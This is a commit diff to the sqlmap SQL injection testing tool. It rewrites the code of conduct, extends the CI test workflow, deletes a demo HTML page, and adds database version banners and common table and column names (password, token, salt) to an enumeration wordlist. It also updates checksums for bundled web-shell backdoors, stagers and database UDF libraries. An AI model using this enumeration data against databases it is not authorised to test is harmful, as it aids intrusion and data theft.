Minor optimization

Co-authored-by: Chris (ChrisJr404) <[email protected]>

.github/CODE_OF_CONDUCT.md

@@ -1,46 +1,22 @@
-# Contributor Covenant Code of Conduct
+# Code of Conduct
 
-## Our Pledge
+## Our Goal
 
-In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
+The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration.
 
-## Our Standards
+## Standards
 
-Examples of behavior that contributes to creating a positive environment include:
+Contributors are expected to:
 
-* Using welcoming and inclusive language
-* Being respectful of differing viewpoints and experiences
-* Gracefully accepting constructive criticism
-* Focusing on what is best for the community
-* Showing empathy towards other community members
+* Be respectful and professional in all communications.
+* Focus on the technical merits of the project.
+* Gracefully accept constructive criticism.
 
-Examples of unacceptable behavior by participants include:
+Unacceptable behavior includes:
 
-* The use of sexualized language or imagery and unwelcome sexual attention or advances
-* Trolling, insulting/derogatory comments, and personal or political attacks
-* Public or private harassment
-* Publishing others' private information, such as a physical or electronic address, without explicit permission
-* Other conduct which could reasonably be considered inappropriate in a professional setting
-
-## Our Responsibilities
-
-Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
-
-Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
-
-## Scope
-
-This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
+* Harassment, personal attacks, or doxxing.
+* Any behavior that disrupts the technical progress of the project.
 
 ## Enforcement
 
-Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
-
-Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
-
-## Attribution
-
-This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
-
-[homepage]: http://contributor-covenant.org
-[version]: http://contributor-covenant.org/version/1/4/
+The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `[email protected]`.

.github/workflows/tests.yml

@@ -3,26 +3,123 @@ on:
     branches: [ master ]
   pull_request:
     branches: [ master ]
+  workflow_dispatch:
+
+concurrency:
+  group: ci-${{ github.ref }}
+  cancel-in-progress: true
+
+permissions:
+  contents: read
 
 jobs:
   build:
     runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+
     strategy:
       matrix:
-        os: [ubuntu-latest, macos-latest, windows-latest]
-        python-version: [ 'pypy-2.7', '3.13' ]
-        exclude:
+        include:
+          - os: ubuntu-latest
+            python-version: "pypy-2.7"
           - os: macos-latest
-            python-version: 'pypy-2.7'
+            python-version: "3.8"
+          - os: windows-latest
+            python-version: "3.14"
+
     steps:
-      - uses: actions/checkout@v2
-      - name: Set up Python
-        uses: actions/setup-python@v2
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 1
+          persist-credentials: false
+
+      - name: Set up Python ${{ matrix.python-version }}
+        uses: actions/setup-python@v5
         with:
           python-version: ${{ matrix.python-version }}
+
+      - name: Python sanity
+        run: python -VV
+
+      - name: Pyflakes lint
+        shell: bash
+        run: |
+          python - <<'PY'
+          from __future__ import print_function
+
+          import subprocess
+          import sys
+
+          subprocess.check_call([
+              sys.executable, "-m", "pip", "install", "pyflakes"
+          ])
+
+          files = subprocess.check_output(
+              ["git", "ls-files", "*.py"]
+          ).decode("utf-8").splitlines()
+
+          files = [
+              f for f in files
+              if not f.startswith("thirdparty/")
+          ]
+
+          proc = subprocess.Popen(
+              [sys.executable, "-m", "pyflakes"] + files,
+              stdout=subprocess.PIPE,
+              stderr=subprocess.STDOUT,
+          )
+          out, _ = proc.communicate()
+
+          text = out.decode("utf-8", "replace")
+          lines = [
+              line for line in text.splitlines()
+              if " redefines " not in line
+          ]
+
+          if lines:
+              print("\n".join(lines))
+              sys.exit(1)
+
+          if proc.returncode not in (0, 1):
+              if text:
+                  print(text)
+              print("pyflakes failed unexpectedly with status %s" % proc.returncode)
+              sys.exit(proc.returncode or 1)
+
+          print("pyflakes: clean")
+          PY
+
       - name: Basic import test
         run: python -c "import sqlmap; import sqlmapapi"
+
+      - name: Install optional test deps (lxml, jinja2)
+        # lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
+        # tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
+        # endpoints) skip themselves when the engine is unavailable, so these deps are only needed
+        # on the Py3 jobs.
+        if: matrix.python-version != 'pypy-2.7'
+        run: python -m pip install -q lxml jinja2
+
+      - name: Unit tests
+        # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
+        # point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see
+        # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
+        run: python -B -m unittest discover -s tests -p "test_*.py"
+
+      - name: Coverage
+        if: matrix.python-version != 'pypy-2.7'
+        run: |
+          python -m pip install coverage
+          python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py"
+          python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test
+          python -m coverage report --fail-under=50
+
       - name: Smoke test
-        run: python sqlmap.py --smoke
+        run: python sqlmap.py --smoke-test
+
       - name: Vuln test
-        run: python sqlmap.py --vuln
+        run: python sqlmap.py --vuln-test
+
+      - name: API test
+        run: python sqlmap.py --api-test

.gitignore

@@ -5,4 +5,14 @@ __pycache__/
 traffic.txt
 *~
 req*.txt
-.idea/
+.idea/
+.aider*
+.DS_Store
+.github/.DS_Store
+data/.DS_Store
+extra/.DS_Store
+lib/.DS_Store
+plugins/.DS_Store
+thirdparty/.DS_Store
+CLAUDE.md
+.coverage

README.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap ![](https://raw.githubusercontent.com/sqlmapproject/sqlmap/refs/heads/gh-pages/favicon-32.png)
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 

data/html/index.html

@@ -1,151 +0,0 @@
-<!DOCTYPE html>
-
-<!-- https://angrytools.com/bootstrap/editor/ -->
-
-<html lang="en">
-<head>
-    <title>DEMO</title>
-    <meta charset="utf-8">
-    <meta http-equiv="X-UA-Compatible" content="IE=edge">
-    <meta name="viewport" content="width=device-width, initial-scale=1">
-    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
-    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
-
-    <!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
-</head>
-<body>
-    <style>
-  #wrapper { width: 100%; }
-
-  #page-wrapper {
-    padding: 0 15px;
-    min-height: 568px;
-    background-color: #fff;
-  }
-
-  @media(min-width:768px) {
-    #page-wrapper {
-      position: inherit;
-      margin: 0 0 0 250px;
-      padding: 0 30px;
-      border-left: 1px solid #e7e7e7;
-    }
-  }
-
-  .sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
-  .sidebar .sidebar-search { padding: 15px; }
-  .sidebar ul li { border-bottom: 1px solid #e7e7e7; }
-
-  .sidebar ul li a.active { background-color: #eee; }
-
-  .sidebar .arrow { float: right;}
-  .sidebar .fa.arrow:before { content: "f104";}
-  .sidebar .active>a>.fa.arrow:before { content: "f107"; }
-  .sidebar .nav-second-level li,
-  .sidebar .nav-third-level li {
-    border-bottom: 0!important;
-  }
-
-  .sidebar .nav-second-level li a { padding-left: 37px; }
-  .sidebar .nav-third-level li a { padding-left: 52px; }
-
-  @media(min-width:768px) {
-    .sidebar {
-      z-index: 1;
-      position: absolute;
-      width: 250px;
-      margin-top: 51px;
-    }
-  }
-</style>
-<div id="wrapper">
-
-  <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
-    <div class="navbar-header">
-      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
-        <span class="sr-only">Toggle navigation</span>
-        <span class="icon-bar"></span>
-        <span class="icon-bar"></span>
-        <span class="icon-bar"></span>
-      </button>
-      <a class="navbar-brand" href="index.html">sqlmap</a>
-    </div>
-
-    <div class="navbar-default sidebar" role="navigation">
-      <div class="sidebar-nav navbar-collapse">
-        <ul class="nav" id="side-menu">
-          <li>
-            <a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
-            <ul class="nav nav-second-level">
-              <li><a>Target</a></li>
-              <li><a>Request</a></li>
-              <li><a>Optimization</a></li>
-              <li><a>Injection</a></li>
-              <li><a>Detection</a></li>
-              <li><a>Techniques</a></li>
-              <li><a>Fingerprint</a></li>
-              <li><a>Enumeration</a></li>
-              <li><a>Brute force</a></li>
-              <li><a>User-defined function injection</a></li>
-              <li><a>File system access</a></li>
-              <li><a>Operating system access</a></li>
-              <li><a>Windows registry access</a></li>
-              <li><a>General</a></li>
-              <li><a>Miscellaneous</a></li>
-            </ul>
-          </li>
-        </ul>
-      </div>
-    </div>
-  </nav>
-
-  <div id="page-wrapper">
-    <div class="row">
-      <h4>DEMO</h4>
-    </div>
-  </div>
-</div>
-<script>
-  /*
- * metismenu - v1.0.3
- * Easy menu jQuery plugin for Twitter Bootstrap 3
- * https://github.com/onokumus/metisMenu
- *
- * Made by Osman Nuri Okumuş
- * Under MIT License
-*/
-  !function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
-
-  $(function() {
-
-    $('#side-menu').metisMenu();
-
-  });
-
-  //Loads the correct sidebar on window load,
-  //collapses the sidebar on window resize.
-  // Sets the min-height of #page-wrapper to window size
-  $(function() {
-    $(window).bind("load resize", function() {
-      topOffset = 50;
-      width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
-      if (width < 768) {
-        $('div.navbar-collapse').addClass('collapse')
-        topOffset = 100; // 2-row-menu
-      } else {
-        $('div.navbar-collapse').removeClass('collapse')
-      }
-
-      height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
-      height = height - topOffset;
-      if (height < 1) height = 1;
-      if (height > topOffset) {
-        $("#page-wrapper").css("min-height", (height) + "px");
-      }
-    })
-  });
-</script>
-    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
-    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
-</body>
-</html>

data/txt/common-outputs.txt

@@ -15,6 +15,42 @@
 5.7.
 6.0.
 8.0.
+8.1.
+8.2.
+8.3.
+8.4.
+9.0.
+9.1.
+9.2.
+9.3.
+
+# MariaDB (banner reported as e.g. '10.6.21-MariaDB-...')
+10.0.
+10.1.
+10.2.
+10.3.
+10.4.
+10.5.
+10.6.
+10.7.
+10.8.
+10.9.
+10.10.
+10.11.
+11.0.
+11.1.
+11.2.
+11.3.
+11.4.
+11.5.
+11.6.
+11.7.
+11.8.
+12.0.
+12.1.
+12.2.
+12.3.
+13.0.
 
 # PostgreSQL
 PostgreSQL 7.0
@@ -39,6 +75,11 @@ PostgreSQL 10.
 PostgreSQL 11.
 PostgreSQL 12.
 PostgreSQL 13.
+PostgreSQL 14.
+PostgreSQL 15.
+PostgreSQL 16.
+PostgreSQL 17.
+PostgreSQL 18.
 
 # Oracle
 Oracle Database 9i Standard Edition Release
@@ -59,6 +100,11 @@ Oracle Database 11g Express Edition Release 11.
 Oracle Database 11g Enterprise Edition Release
 Oracle Database 11g Enterprise Edition Release 11.
 Oracle Database 12c
+Oracle Database 18c
+Oracle Database 19c
+Oracle Database 21c
+Oracle Database 23ai
+Oracle Database 26ai
 
 # Microsoft SQL Server
 Microsoft SQL Server 7.0
@@ -70,6 +116,8 @@ Microsoft SQL Server 2014
 Microsoft SQL Server 2016
 Microsoft SQL Server 2017
 Microsoft SQL Server 2019
+Microsoft SQL Server 2022
+Microsoft SQL Server 2025
 
 
 [Users]
@@ -78,6 +126,9 @@ Microsoft SQL Server 2019
 'debian-sys-maint'@'localhost'
 'root'@'%'
 'root'@'localhost'
+'mysql.sys'@'localhost'
+'mysql.session'@'localhost'
+'mysql.infoschema'@'localhost'
 
 # MySQL < 5.0
 debian-sys-maint
@@ -401,6 +452,8 @@ XDBWEBSERVICES
 information_schema
 performance_schema
 mysql
+sys
+test
 phpmyadmin
 
 # PostgreSQL
@@ -420,6 +473,10 @@ ReportServer
 ReportServerTempDB
 tempdb
 
+# Cloud Defaults
+rdsadmin
+innodb
+azure_maintenance
 
 [Tables]
 
@@ -1095,6 +1152,29 @@ vVendor
 WorkOrder
 WorkOrderRouting
 
+# Common tables
+
+accounts
+admin
+audit
+backup
+config
+configuration
+customers
+data
+files
+history
+images
+log
+logs
+members
+messages
+orders
+products
+settings
+test
+tokens
+uploads
 
 [Columns]
 
@@ -1236,20 +1316,51 @@ text
 time
 timestamp
 
-# common columns
+# Common columns
+active
+address
+admin
+blocked
+category_id
+city
+confirmed
+country
 created_at
-updated_at
-deleted_at
 created_on
-modified_on
-timestamp
+customer_id
+deleted
+deleted_at
+dob
+email
+enabled
+first_name
+flag
+gender
+hidden
 is_active
 is_deleted
 is_published
-status
-enabled
-user_id
-product_id
-category_id
+last_name
+locked
+login
+modified_on
+name
 order_id
-customer_id
+password
+phone
+private
+product_id
+public
+role
+salt
+state
+status
+timestamp
+token
+type
+updated_at
+user_id
+username
+visible
+zip
+zip_code

data/txt/sha256sums.txt

@@ -1,4 +1,3 @@
-39a8a35d730f49daf657fa58903a9cd309813b275df29a86439297a10a15261a  data/html/index.html
 e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18  data/procs/mssqlserver/activate_sp_oacreate.sql
 6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120  data/procs/mssqlserver/configure_openrowset.sql
 798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad  data/procs/mssqlserver/configure_xp_cmdshell.sql
@@ -13,62 +12,62 @@ afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4  data/procs/mss
 606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117  data/procs/oracle/read_file_export_extension.sql
 4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb  data/procs/postgresql/dns_request.sql
 7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137  data/procs/README.txt
-519431a555205974e7b12b5ecb8d6fb03a504fbb4a6a410db8874a9bfcff6890  data/shell/backdoors/backdoor.asp_
-fbb0e5456bc80923d0403644371167948cefc8e95c95a98dc845bc6355e3718f  data/shell/backdoors/backdoor.aspx_
-01695090da88b7e71172e3b97293196041e452bbb7b2ba9975b4fac7231e00a5  data/shell/backdoors/backdoor.cfm_
-03117933dcc9bfc24098e1e0191195fc4bafb891f0752edee28be1741894e0e5  data/shell/backdoors/backdoor.jsp_
-2505011f6dcf4c1725840ce495c3b3e4172217286f5ce2a0819c7a64ce35d9df  data/shell/backdoors/backdoor.php_
+3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd  data/shell/backdoors/backdoor.asp_
+35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c  data/shell/backdoors/backdoor.aspx_
+081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8  data/shell/backdoors/backdoor.cfm_
+f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a  data/shell/backdoors/backdoor.jsp_
+78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2  data/shell/backdoors/backdoor.php_
 a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64  data/shell/README.txt
-a4d49b7c1b43486d21f7d0025174b45e0608f55c110c6e9af8148478daec73d1  data/shell/stagers/stager.asp_
-1b21206f9d35b829fdf9afa17ea5873cd095558f05e644d56b39d560dfa62b6e  data/shell/stagers/stager.aspx_
-8a149f77137fc427e397ec2c050e4028d45874234bc40a611a00403799e2dc0b  data/shell/stagers/stager.cfm_
-c3a595fc1746ee07dbc0592ba7d5e207e6110954980599f63b8156d1d277f8ca  data/shell/stagers/stager.jsp_
-82bcebc46ed3218218665794197625c668598eb7e861dd96e4f731a27b18a701  data/shell/stagers/stager.php_
+a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33  data/shell/stagers/stager.asp_
+8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db  data/shell/stagers/stager.aspx_
+c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b  data/shell/stagers/stager.cfm_
+8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347  data/shell/stagers/stager.jsp_
+af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac  data/shell/stagers/stager.php_
 eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484  data/txt/common-columns.txt
 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240  data/txt/common-files.txt
-5ead09a8e46b0043fae0ae35fbe1e67b284002e715b65eb26080d91e8b100d19  data/txt/common-outputs.txt
+852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae  data/txt/common-outputs.txt
 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11  data/txt/common-tables.txt
 ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29  data/txt/keywords.txt
 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e  data/txt/smalldict.txt
 6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473  data/txt/user-agents.txt
 9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6  data/txt/wordlist.tx_
-e3007876d35a153d9a107955fad3f6c338d3733210317b1f359417e8297595aa  data/udf/mysql/linux/32/lib_mysqludf_sys.so_
-77f7e7b6cfde4bae8d265f81792c04c4d2b2966328cbf8affb4f980dec2b9d91  data/udf/mysql/linux/64/lib_mysqludf_sys.so_
-52b41ab911f940c22b7490f1d80f920c861e7a6c8c25bb8d3a765fd8af0c34a0  data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
-ea6592dbe61e61f52fd6ab7082722733197fa8f3e6bec0a99ca25aff47c15cff  data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
-c58dd9b9fa27df0a730802bd49e36a5a3ccd59611fc1c61b8e85f92e14ac2a88  data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
-b6fdcfcafbbc5da34359604a69aaa9f8459a7e6e319f7b2ee128e762e84d1643  data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
-8d22d8b06ce253ae711c6a71b4ed98c7ad5ad1001a3dafb30802ec0b9b325013  data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
-812374d50a672a9d07faba1be9a13cfb84a369894dc7c702991382bb9558be9d  data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
-5b816a33d9c284e62f1ea707e07b10be5efd99db5762d7bd60c6360dd2e70d8f  data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
-cf5b9986fd70f6334bd00e8efcf022571089b8384b650245fb352ec18e48acdf  data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
-445c05dac6714a64777892a372b0e3c93eee651162a402658485c48439390ad2  data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
-1c86d2358c20384ac92d333444b955a01ee97f28caac35ed39fdb654d5f93c1b  data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
-050ff4692a04dc00b7e6ac187a56be47b5a654ccf907ffa9f9446194763ae7e5  data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
-7806d4c6865c7ebed677ae8abe302ca687c8f9f5b5287b89fed27a36beeeb232  data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
-cfa2a8fc26430cbc11ad0bd37609c753d4ca1eecb0472efe3518185d2d13e7cf  data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
-d2210ad9260bd22017acc519a576595306842240f24d8b4899a23228a70f78c6  data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
-6311d919f6ff42c959d0ce3bc6dd5cb782f79f77857e9ab3bd88c2c365e5f303  data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
-4520fc47ea6e0136e03ba9b2eb94161da328f340bf6fbebad39ca82b3b3e323b  data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
-bad0bb94ec75b2912d8028f7afdfd70a96c8f86cbc10040c72ece3fd5244660d  data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
-b8132a5fe67819ec04dbe4e895addf7e9f111cfe4810a0c94b68002fd48b5deb  data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
-03f3b12359a1554705eab46fb04dba63086beb5e2b20f97b108164603efdcb65  data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
-e5be1341a84b1a14c4c648feec02418acb904cd96d7cf0f66ec3ff0c117baf91  data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
-28113b48848ba7d22955a060a989f5ae4f14183b1fc64b67898095610176098c  data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
-1187045f66f101c89678791960dc37ca5663cf4190ca7dc550753f028ec61a88  data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
-2259cd7e3f6ff057bbbb6766efc6818a59dbf262bfadefd9fda31746903c7501  data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
-1fdb0856443b56bf9e3e8c7d195171327217af745ad2e299c475d96892a07ec9  data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
-21e274e6c49cc444d689cb34a83497f982ed2b2850cab677dc059aea9e397870  data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
-6707132e4e812ad23cc22ff26e411e89f1eb8379a768161b410202c5442ff3ea  data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
-0989c0c0143fb515a12a8b5064f014c633d13a8841aeceaf02ff46901f17805f  data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
-3a492e9a1da0799d1107aa5949538303d06409c9a0ed00499626a08083d486ee  data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
-3eab7d90606c3c0a9a88e1475e6d8d7d787b3b109c7e188cb9cb8b5561a6766e  data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
-a1fe84c5b409366c3926f3138189fb17e7388ef09594a47c9d64e4efe9237a4b  data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
-7368a6301369a63e334d829a1d7f6e0b55a824a9f1579dfeb7ced5745994ebc6  data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
+0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514  data/udf/mysql/linux/32/lib_mysqludf_sys.so_
+6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002  data/udf/mysql/linux/64/lib_mysqludf_sys.so_
+4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0  data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
+4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282  data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
+dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de  data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
+5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa  data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
+3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b  data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
+d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720  data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
+e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937  data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
+585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5  data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
+956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5  data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
+619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2  data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
+7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8  data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
+2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524  data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
+b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9  data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
+c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79  data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
+ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308  data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
+b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d  data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
+f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff  data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
+869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc  data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
+4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12  data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
+bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e  data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
+8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69  data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
+6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f  data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
+d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0  data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
+102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f  data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
+031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59  data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
+dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616  data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
+07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60  data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
